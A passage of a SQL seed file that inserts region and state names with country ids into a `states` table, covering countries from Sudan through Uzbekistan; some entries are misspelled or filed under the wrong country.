'al-Buhayrat', 207, NULL, NULL), (3374, 'al-Jazirah', 207, NULL, NULL), (3375, 'al-Khartum', 207, NULL, NULL), (3376, 'al-Qadarif', 207, NULL, NULL), (3377, 'al-Wahdah', 207, NULL, NULL), (3378, 'an-Nil-al-Abyad', 207, NULL, NULL), (3379, 'an-Nil-al-Azraq', 207, NULL, NULL), (3380, 'ash-Shamaliyah', 207, NULL, NULL), (3381, 'Brokopondo', 208, NULL, NULL), (3382, 'Commewijne', 208, NULL, NULL), (3383, 'Coronie', 208, NULL, NULL), (3384, 'Marowijne', 208, NULL, NULL), (3385, 'Nickerie', 208, NULL, NULL), (3386, 'Para', 208, NULL, NULL), (3387, 'Paramaribo', 208, NULL, NULL), (3388, 'Saramacca', 208, NULL, NULL), (3389, 'Wanica', 208, NULL, NULL), (3390, 'Svalbard', 209, NULL, NULL), (3391, 'Hhohho', 210, NULL, NULL), (3392, 'Lubombo', 210, NULL, NULL), (3393, 'Manzini', 210, NULL, NULL), (3394, 'Shiselweni', 210, NULL, NULL), (3395, 'Alvsborgs Lan', 211, NULL, NULL), (3396, 'Angermanland', 211, NULL, NULL), (3397, 'Blekinge', 211, NULL, NULL), (3398, 'Bohuslan', 211, NULL, NULL), (3399, 'Dalarna', 211, NULL, NULL), (3400, 'Gavleborg', 211, NULL, NULL), (3401, 'Gaza', 211, NULL, NULL), (3402, 'Gotland', 211, NULL, NULL), (3403, 'Halland', 211, NULL, NULL), (3404, 'Jamtland', 211, NULL, NULL), (3405, 'Jonkoping', 211, NULL, NULL), (3406, 'Kalmar', 211, NULL, NULL), (3407, 'Kristianstads', 211, NULL, NULL), (3408, 'Kronoberg', 211, NULL, NULL), (3409, 'Norrbotten', 211, NULL, NULL), (3410, 'Orebro', 211, NULL, NULL), (3411, 'Ostergotland', 211, NULL, NULL), (3412, 'Saltsjo-Boo', 211, NULL, NULL), (3413, 'Skane', 211, NULL, NULL), (3414, 'Smaland', 211, NULL, NULL), (3415, 'Sodermanland', 211, NULL, NULL), (3416, 'Stockholm', 211, NULL, NULL), (3417, 'Uppsala', 211, NULL, NULL), (3418, 'Varmland', 211, NULL, NULL), (3419, 'Vasterbotten', 211, NULL, NULL), (3420, 'Vastergotland', 211, NULL, NULL), (3421, 'Vasternorrland', 211, NULL, NULL), (3422, 'Vastmanland', 211, NULL, NULL), (3423, 'Vastra Gotaland', 211, NULL, NULL), (3424, 'Aargau', 212, NULL, NULL), (3425, 'Appenzell Inner-Rhoden', 212, NULL, NULL), (3426, 'Appenzell-Ausser Rhoden', 212, NULL, NULL), (3427, 'Basel-Landschaft', 212, NULL, NULL), (3428, 'Basel-Stadt', 212, NULL, NULL), (3429, 'Bern', 212, NULL, NULL), (3430, 'Canton Ticino', 212, NULL, NULL), (3431, 'Fribourg', 212, NULL, NULL), (3432, 'Geneve', 212, NULL, NULL), (3433, 'Glarus', 212, NULL, NULL), (3434, 'Graubunden', 212, NULL, NULL), (3435, 'Heerbrugg', 212, NULL, NULL), (3436, 'Jura', 212, NULL, NULL), (3437, 'Kanton Aargau', 212, NULL, NULL), (3438, 'Luzern', 212, NULL, NULL), (3439, 'Morbio Inferiore', 212, NULL, NULL), (3440, 'Muhen', 212, NULL, NULL), (3441, 'Neuchatel', 212, NULL, NULL), (3442, 'Nidwalden', 212, NULL, NULL), (3443, 'Obwalden', 212, NULL, NULL), (3444, 'Sankt Gallen', 212, NULL, NULL), (3445, 'Schaffhausen', 212, NULL, NULL), (3446, 'Schwyz', 212, NULL, NULL), (3447, 'Solothurn', 212, NULL, NULL), (3448, 'Thurgau', 212, NULL, NULL), (3449, 'Ticino', 212, NULL, NULL), (3450, 'Uri', 212, NULL, NULL), (3451, 'Valais', 212, NULL, NULL), (3452, 'Vaud', 212, NULL, NULL), (3453, 'Vauffelin', 212, NULL, NULL), (3454, 'Zug', 212, NULL, NULL), (3455, 'Zurich', 212, NULL, NULL), (3456, 'Aleppo', 213, NULL, NULL), (3457, 'Dar\'\'a', 213, NULL, NULL), (3458, 'Dayr-az-Zawr', 213, NULL, NULL), (3459, 'Dimashq', 213, NULL, NULL), (3460, 'Halab', 213, NULL, NULL), (3461, 'Hamah', 213, NULL, NULL), (3462, 'Hims', 213, NULL, NULL), (3463, 'Idlib', 213, NULL, NULL), (3464, 'Madinat Dimashq', 213, NULL, NULL), (3465, 'Tartus', 213, NULL, NULL), (3466, 'al-Hasakah', 213, NULL, NULL), (3467, 'al-Ladhiqiyah', 213, NULL, NULL), (3468, 'al-Qunaytirah', 213, NULL, NULL), (3469, 'ar-Raqqah', 213, NULL, NULL), (3470, 'as-Suwayda', 213, NULL, NULL), (3471, 'Changhua County', 214, NULL, NULL), (3472, 'Chiayi County', 214, NULL, NULL), (3473, 'Chiayi City', 214, NULL, NULL), (3474, 'Taipei City', 214, NULL, NULL), (3475, 'Hsinchu County', 214, NULL, NULL), (3476, 'Hsinchu City', 214, NULL, NULL), (3477, 'Hualien County', 214, NULL, NULL), (3480, 'Kaohsiung City', 214, NULL, NULL), (3481, 'Keelung City', 214, NULL, NULL), (3482, 'Kinmen County', 214, NULL, NULL), (3483, 'Miaoli County', 214, NULL, NULL), (3484, 'Nantou County', 214, NULL, NULL), (3486, 'Penghu County', 214, NULL, NULL), (3487, 'Pingtung County', 214, NULL, NULL), (3488, 'Taichung City', 214, NULL, NULL), (3492, 'Tainan City', 214, NULL, NULL), (3493, 'New Taipei City', 214, NULL, NULL), (3495, 'Taitung County', 214, NULL, NULL), (3496, 'Taoyuan City', 214, NULL, NULL), (3497, 'Yilan County', 214, NULL, NULL), (3498, 'YunLin County', 214, NULL, NULL), (3500, 'Dushanbe', 215, NULL, NULL), (3501, 'Gorno-Badakhshan', 215, NULL, NULL), (3502, 'Karotegin', 215, NULL, NULL), (3503, 'Khatlon', 215, NULL, NULL), (3504, 'Sughd', 215, NULL, NULL), (3505, 'Arusha', 216, NULL, NULL), (3506, 'Dar es Salaam', 216, NULL, NULL), (3507, 'Dodoma', 216, NULL, NULL), (3508, 'Iringa', 216, NULL, NULL), (3509, 'Kagera', 216, NULL, NULL), (3510, 'Kigoma', 216, NULL, NULL), (3511, 'Kilimanjaro', 216, NULL, NULL), (3512, 'Lindi', 216, NULL, NULL), (3513, 'Mara', 216, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (3514, 'Mbeya', 216, NULL, NULL), (3515, 'Morogoro', 216, NULL, NULL), (3516, 'Mtwara', 216, NULL, NULL), (3517, 'Mwanza', 216, NULL, NULL), (3518, 'Pwani', 216, NULL, NULL), (3519, 'Rukwa', 216, NULL, NULL), (3520, 'Ruvuma', 216, NULL, NULL), (3521, 'Shinyanga', 216, NULL, NULL), (3522, 'Singida', 216, NULL, NULL), (3523, 'Tabora', 216, NULL, NULL), (3524, 'Tanga', 216, NULL, NULL), (3525, 'Zanzibar and Pemba', 216, NULL, NULL), (3526, 'Amnat Charoen', 217, NULL, NULL), (3527, 'Ang Thong', 217, NULL, NULL), (3528, 'Bangkok', 217, NULL, NULL), (3529, 'Buri Ram', 217, NULL, NULL), (3530, 'Chachoengsao', 217, NULL, NULL), (3531, 'Chai Nat', 217, NULL, NULL), (3532, 'Chaiyaphum', 217, NULL, NULL), (3533, 'Changwat Chaiyaphum', 217, NULL, NULL), (3534, 'Chanthaburi', 217, NULL, NULL), (3535, 'Chiang Mai', 217, NULL, NULL), (3536, 'Chiang Rai', 217, NULL, NULL), (3537, 'Chon Buri', 217, NULL, NULL), (3538, 'Chumphon', 217, NULL, NULL), (3539, 'Kalasin', 217, NULL, NULL), (3540, 'Kamphaeng Phet', 217, NULL, NULL), (3541, 'Kanchanaburi', 217, NULL, NULL), (3542, 'Khon Kaen', 217, NULL, NULL), (3543, 'Krabi', 217, NULL, NULL), (3544, 'Krung Thep', 217, NULL, NULL), (3545, 'Lampang', 217, NULL, NULL), (3546, 'Lamphun', 217, NULL, NULL), (3547, 'Loei', 217, NULL, NULL), (3548, 'Lop Buri', 217, NULL, NULL), (3549, 'Mae Hong Son', 217, NULL, NULL), (3550, 'Maha Sarakham', 217, NULL, NULL), (3551, 'Mukdahan', 217, NULL, NULL), (3552, 'Nakhon Nayok', 217, NULL, NULL), (3553, 'Nakhon Pathom', 217, NULL, NULL), (3554, 'Nakhon Phanom', 217, NULL, NULL), (3555, 'Nakhon Ratchasima', 217, NULL, NULL), (3556, 'Nakhon Sawan', 217, NULL, NULL), (3557, 'Nakhon Si Thammarat', 217, NULL, NULL), (3558, 'Nan', 217, NULL, NULL), (3559, 'Narathiwat', 217, NULL, NULL), (3560, 'Nong Bua Lam Phu', 217, NULL, NULL), (3561, 'Nong Khai', 217, NULL, NULL), (3562, 'Nonthaburi', 217, NULL, NULL), (3563, 'Pathum Thani', 217, NULL, NULL), (3564, 'Pattani', 217, NULL, NULL), (3565, 'Phangnga', 217, NULL, NULL), (3566, 'Phatthalung', 217, NULL, NULL), (3567, 'Phayao', 217, NULL, NULL), (3568, 'Phetchabun', 217, NULL, NULL), (3569, 'Phetchaburi', 217, NULL, NULL), (3570, 'Phichit', 217, NULL, NULL), (3571, 'Phitsanulok', 217, NULL, NULL), (3572, 'Phra Nakhon Si Ayutthaya', 217, NULL, NULL), (3573, 'Phrae', 217, NULL, NULL), (3574, 'Phuket', 217, NULL, NULL), (3575, 'Prachin Buri', 217, NULL, NULL), (3576, 'Prachuap Khiri Khan', 217, NULL, NULL), (3577, 'Ranong', 217, NULL, NULL), (3578, 'Ratchaburi', 217, NULL, NULL), (3579, 'Rayong', 217, NULL, NULL), (3580, 'Roi Et', 217, NULL, NULL), (3581, 'Sa Kaeo', 217, NULL, NULL), (3582, 'Sakon Nakhon', 217, NULL, NULL), (3583, 'Samut Prakan', 217, NULL, NULL), (3584, 'Samut Sakhon', 217, NULL, NULL), (3585, 'Samut Songkhran', 217, NULL, NULL), (3586, 'Saraburi', 217, NULL, NULL), (3587, 'Satun', 217, NULL, NULL), (3588, 'Si Sa Ket', 217, NULL, NULL), (3589, 'Sing Buri', 217, NULL, NULL), (3590, 'Songkhla', 217, NULL, NULL), (3591, 'Sukhothai', 217, NULL, NULL), (3592, 'Suphan Buri', 217, NULL, NULL), (3593, 'Surat Thani', 217, NULL, NULL), (3594, 'Surin', 217, NULL, NULL), (3595, 'Tak', 217, NULL, NULL), (3596, 'Trang', 217, NULL, NULL), (3597, 'Trat', 217, NULL, NULL), (3598, 'Ubon Ratchathani', 217, NULL, NULL), (3599, 'Udon Thani', 217, NULL, NULL), (3600, 'Uthai Thani', 217, NULL, NULL), (3601, 'Uttaradit', 217, NULL, NULL), (3602, 'Yala', 217, NULL, NULL), (3603, 'Yasothon', 217, NULL, NULL), (3604, 'Centre', 218, NULL, NULL), (3605, 'Kara', 218, NULL, NULL), (3606, 'Maritime', 218, NULL, NULL), (3607, 'Plateaux', 218, NULL, NULL), (3608, 'Savanes', 218, NULL, NULL), (3609, 'Atafu', 219, NULL, NULL), (3610, 'Fakaofo', 219, NULL, NULL), (3611, 'Nukunonu', 219, NULL, NULL), (3612, 'Eua', 220, NULL, NULL), (3613, 'Ha\'\'apai', 220, NULL, NULL), (3614, 'Niuas', 220, NULL, NULL), (3615, 'Tongatapu', 220, NULL, NULL), (3616, 'Vava\'\'u', 220, NULL, NULL), (3617, 'Arima-Tunapuna-Piarco', 221, NULL, NULL), (3618, 'Caroni', 221, NULL, NULL), (3619, 'Chaguanas', 221, NULL, NULL), (3620, 'Couva-Tabaquite-Talparo', 221, NULL, NULL), (3621, 'Diego Martin', 221, NULL, NULL), (3622, 'Glencoe', 221, NULL, NULL), (3623, 'Penal Debe', 221, NULL, NULL), (3624, 'Point Fortin', 221, NULL, NULL), (3625, 'Port of Spain', 221, NULL, NULL), (3626, 'Princes Town', 221, NULL, NULL), (3627, 'Saint George', 221, NULL, NULL), (3628, 'San Fernando', 221, NULL, NULL), (3629, 'San Juan', 221, NULL, NULL), (3630, 'Sangre Grande', 221, NULL, NULL), (3631, 'Siparia', 221, NULL, NULL), (3632, 'Tobago', 221, NULL, NULL), (3633, 'Aryanah', 222, NULL, NULL), (3634, 'Bajah', 222, NULL, NULL), (3635, 'Bin \'\'Arus', 222, NULL, NULL), (3636, 'Binzart', 222, NULL, NULL), (3637, 'Gouvernorat de Ariana', 222, NULL, NULL), (3638, 'Gouvernorat de Nabeul', 222, NULL, NULL), (3639, 'Gouvernorat de Sousse', 222, NULL, NULL), (3640, 'Hammamet Yasmine', 222, NULL, NULL), (3641, 'Jundubah', 222, NULL, NULL), (3642, 'Madaniyin', 222, NULL, NULL), (3643, 'Manubah', 222, NULL, NULL), (3644, 'Monastir', 222, NULL, NULL), (3645, 'Nabul', 222, NULL, NULL), (3646, 'Qabis', 222, NULL, NULL), (3647, 'Qafsah', 222, NULL, NULL), (3648, 'Qibili', 222, NULL, NULL), (3649, 'Safaqis', 222, NULL, NULL), (3650, 'Sfax', 222, NULL, NULL), (3651, 'Sidi Bu Zayd', 222, NULL, NULL), (3652, 'Silyanah', 222, NULL, NULL), (3653, 'Susah', 222, NULL, NULL), (3654, 'Tatawin', 222, NULL, NULL), (3655, 'Tawzar', 222, NULL, NULL), (3656, 'Tunis', 222, NULL, NULL), (3657, 'Zaghwan', 222, NULL, NULL), (3658, 'al-Kaf', 222, NULL, NULL), (3659, 'al-Mahdiyah', 222, NULL, NULL), (3660, 'al-Munastir', 222, NULL, NULL), (3661, 'al-Qasrayn', 222, NULL, NULL), (3662, 'al-Qayrawan', 222, NULL, NULL), (3663, 'Adana', 223, NULL, NULL), (3664, 'Adiyaman', 223, NULL, NULL), (3665, 'Afyon', 223, NULL, NULL), (3666, 'Agri', 223, NULL, NULL), (3667, 'Aksaray', 223, NULL, NULL), (3668, 'Amasya', 223, NULL, NULL), (3669, 'Ankara', 223, NULL, NULL), (3670, 'Antalya', 223, NULL, NULL), (3671, 'Ardahan', 223, NULL, NULL), (3672, 'Artvin', 223, NULL, NULL), (3673, 'Aydin', 223, NULL, NULL), (3674, 'Balikesir', 223, NULL, NULL), (3675, 'Bartin', 223, NULL, NULL), (3676, 'Batman', 223, NULL, NULL), (3677, 'Bayburt', 223, NULL, NULL), (3678, 'Bilecik', 223, NULL, NULL), (3679, 'Bingol', 223, NULL, NULL), (3680, 'Bitlis', 223, NULL, NULL), (3681, 'Bolu', 223, NULL, NULL), (3682, 'Burdur', 223, NULL, NULL), (3683, 'Bursa', 223, NULL, NULL), (3684, 'Canakkale', 223, NULL, NULL), (3685, 'Cankiri', 223, NULL, NULL), (3686, 'Corum', 223, NULL, NULL), (3687, 'Denizli', 223, NULL, NULL), (3688, 'Diyarbakir', 223, NULL, NULL), (3689, 'Duzce', 223, NULL, NULL), (3690, 'Edirne', 223, NULL, NULL), (3691, 'Elazig', 223, NULL, NULL), (3692, 'Erzincan', 223, NULL, NULL), (3693, 'Erzurum', 223, NULL, NULL), (3694, 'Eskisehir', 223, NULL, NULL), (3695, 'Gaziantep', 223, NULL, NULL), (3696, 'Giresun', 223, NULL, NULL), (3697, 'Gumushane', 223, NULL, NULL), (3698, 'Hakkari', 223, NULL, NULL), (3699, 'Hatay', 223, NULL, NULL), (3700, 'Icel', 223, NULL, NULL), (3701, 'Igdir', 223, NULL, NULL), (3702, 'Isparta', 223, NULL, NULL), (3703, 'Istanbul', 223, NULL, NULL), (3704, 'Izmir', 223, NULL, NULL), (3705, 'Kahramanmaras', 223, NULL, NULL), (3706, 'Karabuk', 223, NULL, NULL), (3707, 'Karaman', 223, NULL, NULL), (3708, 'Kars', 223, NULL, NULL), (3709, 'Karsiyaka', 223, NULL, NULL), (3710, 'Kastamonu', 223, NULL, NULL), (3711, 'Kayseri', 223, NULL, NULL), (3712, 'Kilis', 223, NULL, NULL), (3713, 'Kirikkale', 223, NULL, NULL), (3714, 'Kirklareli', 223, NULL, NULL), (3715, 'Kirsehir', 223, NULL, NULL), (3716, 'Kocaeli', 223, NULL, NULL), (3717, 'Konya', 223, NULL, NULL), (3718, 'Kutahya', 223, NULL, NULL), (3719, 'Lefkosa', 223, NULL, NULL), (3720, 'Malatya', 223, NULL, NULL), (3721, 'Manisa', 223, NULL, NULL), (3722, 'Mardin', 223, NULL, NULL), (3723, 'Mugla', 223, NULL, NULL), (3724, 'Mus', 223, NULL, NULL), (3725, 'Nevsehir', 223, NULL, NULL), (3726, 'Nigde', 223, NULL, NULL), (3727, 'Ordu', 223, NULL, NULL), (3728, 'Osmaniye', 223, NULL, NULL), (3729, 'Rize', 223, NULL, NULL), (3730, 'Sakarya', 223, NULL, NULL), (3731, 'Samsun', 223, NULL, NULL), (3732, 'Sanliurfa', 223, NULL, NULL), (3733, 'Siirt', 223, NULL, NULL), (3734, 'Sinop', 223, NULL, NULL), (3735, 'Sirnak', 223, NULL, NULL), (3736, 'Sivas', 223, NULL, NULL), (3737, 'Tekirdag', 223, NULL, NULL), (3738, 'Tokat', 223, NULL, NULL), (3739, 'Trabzon', 223, NULL, NULL), (3740, 'Tunceli', 223, NULL, NULL), (3741, 'Usak', 223, NULL, NULL), (3742, 'Van', 223, NULL, NULL), (3743, 'Yalova', 223, NULL, NULL), (3744, 'Yozgat', 223, NULL, NULL), (3745, 'Zonguldak', 223, NULL, NULL), (3746, 'Ahal', 224, NULL, NULL), (3747, 'Asgabat', 224, NULL, NULL), (3748, 'Balkan', 224, NULL, NULL), (3749, 'Dasoguz', 224, NULL, NULL), (3750, 'Lebap', 224, NULL, NULL), (3751, 'Mari', 224, NULL, NULL), (3752, 'Grand Turk', 225, NULL, NULL), (3753, 'South Caicos and East Caicos', 225, NULL, NULL), (3754, 'Funafuti', 226, NULL, NULL), (3755, 'Nanumanga', 226, NULL, NULL), (3756, 'Nanumea', 226, NULL, NULL), (3757, 'Niutao', 226, NULL, NULL), (3758, 'Nui', 226, NULL, NULL), (3759, 'Nukufetau', 226, NULL, NULL), (3760, 'Nukulaelae', 226, NULL, NULL), (3761, 'Vaitupu', 226, NULL, NULL), (3762, 'Central', 227, NULL, NULL), (3763, 'Eastern', 227, NULL, NULL), (3764, 'Northern', 227, NULL, NULL), (3765, 'Western', 227, NULL, NULL), (3766, 'Cherkas\'\'ka', 228, NULL, NULL), (3767, 'Chernihivs\'\'ka', 228, NULL, NULL), (3768, 'Chernivets\'\'ka', 228, NULL, NULL), (3769, 'Crimea', 228, NULL, NULL), (3770, 'Dnipropetrovska', 228, NULL, NULL), (3771, 'Donets\'\'ka', 228, NULL, NULL), (3772, 'Ivano-Frankivs\'\'ka', 228, NULL, NULL), (3773, 'Kharkiv', 228, NULL, NULL), (3774, 'Kharkov', 228, NULL, NULL), (3775, 'Khersonska', 228, NULL, NULL), (3776, 'Khmel\'\'nyts\'\'ka', 228, NULL, NULL), (3777, 'Kirovohrad', 228, NULL, NULL), (3778, 'Krym', 228, NULL, NULL), (3779, 'Kyyiv', 228, NULL, NULL), (3780, 'Kyyivs\'\'ka', 228, NULL, NULL), (3781, 'L\'\'vivs\'\'ka', 228, NULL, NULL), (3782, 'Luhans\'\'ka', 228, NULL, NULL), (3783, 'Mykolayivs\'\'ka', 228, NULL, NULL), (3784, 'Odes\'\'ka', 228, NULL, NULL), (3785, 'Odessa', 228, NULL, NULL), (3786, 'Poltavs\'\'ka', 228, NULL, NULL), (3787, 'Rivnens\'\'ka', 228, NULL, NULL), (3788, 'Sevastopol', 228, NULL, NULL), (3789, 'Sums\'\'ka', 228, NULL, NULL), (3790, 'Ternopil\'\'s\'\'ka', 228, NULL, NULL), (3791, 'Volyns\'\'ka', 228, NULL, NULL), (3792, 'Vynnyts\'\'ka', 228, NULL, NULL), (3793, 'Zakarpats\'\'ka', 228, NULL, NULL), (3794, 'Zaporizhia', 228, NULL, NULL), (3795, 'Zhytomyrs\'\'ka', 228, NULL, NULL), (3796, 'Abu Zabi', 229, NULL, NULL), (3797, 'Ajman', 229, NULL, NULL), (3798, 'Dubai', 229, NULL, NULL), (3799, 'Ras al-Khaymah', 229, NULL, NULL), (3800, 'Sharjah', 229, NULL, NULL), (3801, 'Sharjha', 229, NULL, NULL), (3802, 'Umm al Qaywayn', 229, NULL, NULL), (3803, 'al-Fujayrah', 229, NULL, NULL), (3804, 'ash-Shariqah', 229, NULL, NULL), (3805, 'Aberdeen', 230, NULL, NULL), (3806, 'Aberdeenshire', 230, NULL, NULL), (3807, 'Argyll', 230, NULL, NULL), (3808, 'Armagh', 230, NULL, NULL), (3809, 'Bedfordshire', 230, NULL, NULL), (3810, 'Belfast', 230, NULL, NULL), (3811, 'Berkshire', 230, NULL, NULL), (3812, 'Birmingham', 230, NULL, NULL), (3813, 'Brechin', 230, NULL, NULL), (3814, 'Bridgnorth', 230, NULL, NULL), (3815, 'Bristol', 230, NULL, NULL), (3816, 'Buckinghamshire', 230, NULL, NULL), (3817, 'Cambridge', 230, NULL, NULL), (3818, 'Cambridgeshire', 230, NULL, NULL), (3819, 'Channel Islands', 230, NULL, NULL), (3820, 'Cheshire', 230, NULL, NULL), (3821, 'Cleveland', 230, NULL, NULL), (3822, 'Co Fermanagh', 230, NULL, NULL), (3823, 'Conwy', 230, NULL, NULL), (3824, 'Cornwall', 230, NULL, NULL), (3825, 'Coventry', 230, NULL, NULL), (3826, 'Craven Arms', 230, NULL, NULL), (3827, 'Cumbria', 230, NULL, NULL), (3828, 'Denbighshire', 230, NULL, NULL), (3829, 'Derby', 230, NULL, NULL), (3830, 'Derbyshire', 230, NULL, NULL), (3831, 'Devon', 230, NULL, NULL), (3832, 'Dial Code Dungannon', 230, NULL, NULL), (3833, 'Didcot', 230, NULL, NULL), (3834, 'Dorset', 230, NULL, NULL), (3835, 'Dunbartonshire', 230, NULL, NULL), (3836, 'Durham', 230, NULL, NULL), (3837, 'East Dunbartonshire', 230, NULL, NULL), (3838, 'East Lothian', 230, NULL, NULL), (3839, 'East Midlands', 230, NULL, NULL), (3840, 'East Sussex', 230, NULL, NULL), (3841, 'East Yorkshire', 230, NULL, NULL), (3842, 'England', 230, NULL, NULL), (3843, 'Essex', 230, NULL, NULL), (3844, 'Fermanagh', 230, NULL, NULL), (3845, 'Fife', 230, NULL, NULL), (3846, 'Flintshire', 230, NULL, NULL), (3847, 'Fulham', 230, NULL, NULL), (3848, 'Gainsborough', 230, NULL, NULL), (3849, 'Glocestershire', 230, NULL, NULL), (3850, 'Gwent', 230, NULL, NULL), (3851, 'Hampshire', 230, NULL, NULL), (3852, 'Hants', 230, NULL, NULL), (3853, 'Herefordshire', 230, NULL, NULL), (3854, 'Hertfordshire', 230, NULL, NULL), (3855, 'Ireland', 230, NULL, NULL), (3856, 'Isle Of Man', 230, NULL, NULL), (3857, 'Isle of Wight', 230, NULL, NULL), (3858, 'Kenford', 230, NULL, NULL), (3859, 'Kent', 230, NULL, NULL), (3860, 'Kilmarnock', 230, NULL, NULL), (3861, 'Lanarkshire', 230, NULL, NULL), (3862, 'Lancashire', 230, NULL, NULL), (3863, 'Leicestershire', 230, NULL, NULL), (3864, 'Lincolnshire', 230, NULL, NULL), (3865, 'Llanymynech', 230, NULL, NULL), (3866, 'London', 230, NULL, NULL), (3867, 'Ludlow', 230, NULL, NULL), (3868, 'Manchester', 230, NULL, NULL), (3869, 'Mayfair', 230, NULL, NULL), (3870, 'Merseyside', 230, NULL, NULL), (3871, 'Mid Glamorgan', 230, NULL, NULL), (3872, 'Middlesex', 230, NULL, NULL), (3873, 'Mildenhall', 230, NULL, NULL), (3874, 'Monmouthshire', 230, NULL, NULL), (3875, 'Newton Stewart', 230, NULL, NULL), (3876, 'Norfolk', 230, NULL, NULL), (3877, 'North Humberside', 230, NULL, NULL), (3878, 'North Yorkshire', 230, NULL, NULL), (3879, 'Northamptonshire', 230, NULL, NULL), (3880, 'Northants', 230, NULL, NULL), (3881, 'Northern Ireland', 230, NULL, NULL), (3882, 'Northumberland', 230, NULL, NULL), (3883, 'Nottinghamshire', 230, NULL, NULL), (3884, 'Oxford', 230, NULL, NULL), (3885, 'Powys', 230, NULL, NULL), (3886, 'Roos-shire', 230, NULL, NULL), (3887, 'SUSSEX', 230, NULL, NULL), (3888, 'Sark', 230, NULL, NULL), (3889, 'Scotland', 230, NULL, NULL), (3890, 'Scottish Borders', 230, NULL, NULL), (3891, 'Shropshire', 230, NULL, NULL), (3892, 'Somerset', 230, NULL, NULL), (3893, 'South Glamorgan', 230, NULL, NULL), (3894, 'South Wales', 230, NULL, NULL), (3895, 'South Yorkshire', 230, NULL, NULL), (3896, 'Southwell', 230, NULL, NULL), (3897, 'Staffordshire', 230, NULL, NULL), (3898, 'Strabane', 230, NULL, NULL), (3899, 'Suffolk', 230, NULL, NULL), (3900, 'Surrey', 230, NULL, NULL), (3901, 'Sussex', 230, NULL, NULL), (3902, 'Twickenham', 230, NULL, NULL), (3903, 'Tyne and Wear', 230, NULL, NULL), (3904, 'Tyrone', 230, NULL, NULL), (3905, 'Utah', 230, NULL, NULL), (3906, 'Wales', 230, NULL, NULL), (3907, 'Warwickshire', 230, NULL, NULL), (3908, 'West Lothian', 230, NULL, NULL), (3909, 'West Midlands', 230, NULL, NULL), (3910, 'West Sussex', 230, NULL, NULL), (3911, 'West Yorkshire', 230, NULL, NULL), (3912, 'Whissendine', 230, NULL, NULL), (3913, 'Wiltshire', 230, NULL, NULL), (3914, 'Wokingham', 230, NULL, NULL), (3915, 'Worcestershire', 230, NULL, NULL), (3916, 'Wrexham', 230, NULL, NULL), (3917, 'Wurttemberg', 230, NULL, NULL), (3918, 'Yorkshire', 230, NULL, NULL), (3919, 'Alabama', 231, NULL, NULL), (3920, 'Alaska', 231, NULL, NULL), (3921, 'Arizona', 231, NULL, NULL), (3922, 'Arkansas', 231, NULL, NULL), (3923, 'Byram', 231, NULL, NULL), (3924, 'California', 231, NULL, NULL), (3925, 'Cokato', 231, NULL, NULL), (3926, 'Colorado', 231, NULL, NULL), (3927, 'Connecticut', 231, NULL, NULL), (3928, 'Delaware', 231, NULL, NULL), (3929, 'District of Columbia', 231, NULL, NULL), (3930, 'Florida', 231, NULL, NULL), (3931, 'Georgia', 231, NULL, NULL), (3932, 'Hawaii', 231, NULL, NULL), (3933, 'Idaho', 231, NULL, NULL), (3934, 'Illinois', 231, NULL, NULL), (3935, 'Indiana', 231, NULL, NULL), (3936, 'Iowa', 231, NULL, NULL), (3937, 'Kansas', 231, NULL, NULL), (3938, 'Kentucky', 231, NULL, NULL), (3939, 'Louisiana', 231, NULL, NULL), (3940, 'Lowa', 231, NULL, NULL), (3941, 'Maine', 231, NULL, NULL), (3942, 'Maryland', 231, NULL, NULL), (3943, 'Massachusetts', 231, NULL, NULL), (3944, 'Medfield', 231, NULL, NULL), (3945, 'Michigan', 231, NULL, NULL), (3946, 'Minnesota', 231, NULL, NULL), (3947, 'Mississippi', 231, NULL, NULL), (3948, 'Missouri', 231, NULL, NULL), (3949, 'Montana', 231, NULL, NULL), (3950, 'Nebraska', 231, NULL, NULL), (3951, 'Nevada', 231, NULL, NULL), (3952, 'New Hampshire', 231, NULL, NULL), (3953, 'New Jersey', 231, NULL, NULL), (3954, 'New Jersy', 231, NULL, NULL), (3955, 'New Mexico', 231, NULL, NULL), (3956, 'New York', 231, NULL, NULL), (3957, 'North Carolina', 231, NULL, NULL), (3958, 'North Dakota', 231, NULL, NULL), (3959, 'Ohio', 231, NULL, NULL), (3960, 'Oklahoma', 231, NULL, NULL), (3961, 'Ontario', 231, NULL, NULL), (3962, 'Oregon', 231, NULL, NULL), (3963, 'Pennsylvania', 231, NULL, NULL), (3964, 'Ramey', 231, NULL, NULL), (3965, 'Rhode Island', 231, NULL, NULL), (3966, 'South Carolina', 231, NULL, NULL), (3967, 'South Dakota', 231, NULL, NULL), (3968, 'Sublimity', 231, NULL, NULL), (3969, 'Tennessee', 231, NULL, NULL), (3970, 'Texas', 231, NULL, NULL), (3971, 'Trimble', 231, NULL, NULL), (3972, 'Utah', 231, NULL, NULL), (3973, 'Vermont', 231, NULL, NULL), (3974, 'Virginia', 231, NULL, NULL), (3975, 'Washington', 231, NULL, NULL), (3976, 'West Virginia', 231, NULL, NULL), (3977, 'Wisconsin', 231, NULL, NULL), (3978, 'Wyoming', 231, NULL, NULL), (3979, 'United States Minor Outlying I', 232, NULL, NULL), (3980, 'Artigas', 233, NULL, NULL), (3981, 'Canelones', 233, NULL, NULL), (3982, 'Cerro Largo', 233, NULL, NULL), (3983, 'Colonia', 233, NULL, NULL), (3984, 'Durazno', 233, NULL, NULL), (3985, 'FLorida', 233, NULL, NULL), (3986, 'Flores', 233, NULL, NULL), (3987, 'Lavalleja', 233, NULL, NULL), (3988, 'Maldonado', 233, NULL, NULL), (3989, 'Montevideo', 233, NULL, NULL), (3990, 'Paysandu', 233, NULL, NULL), (3991, 'Rio Negro', 233, NULL, NULL), (3992, 'Rivera', 233, NULL, NULL), (3993, 'Rocha', 233, NULL, NULL), (3994, 'Salto', 233, NULL, NULL), (3995, 'San Jose', 233, NULL, NULL), (3996, 'Soriano', 233, NULL, NULL), (3997, 'Tacuarembo', 233, NULL, NULL), (3998, 'Treinta y Tres', 233, NULL, NULL), (3999, 'Andijon', 234, NULL, NULL), (4000, 'Buhoro', 234, NULL, NULL), (4001, 'Buxoro Viloyati', 234, NULL, NULL), (4002, 'Cizah', 234, NULL, NULL), (4003, 'Fargona', 234, NULL, NULL), (4004, 'Horazm', 234, NULL, NULL), (4005, 'Kaskadar', 234, NULL, NULL), (4006, 'Korakalpogiston', 234, NULL, NULL), (4007, 'Namangan', 234, NULL, NULL), (4008, 'Navoi', 234, NULL, NULL), (4009, 'Samarkand', 234, NULL, NULL), (4010, 'Sirdare', 234, NULL, NULL), (4011, 'Surhondar', 234, NULL, NULL), (4012, 'Toskent', 234, NULL, NULL), 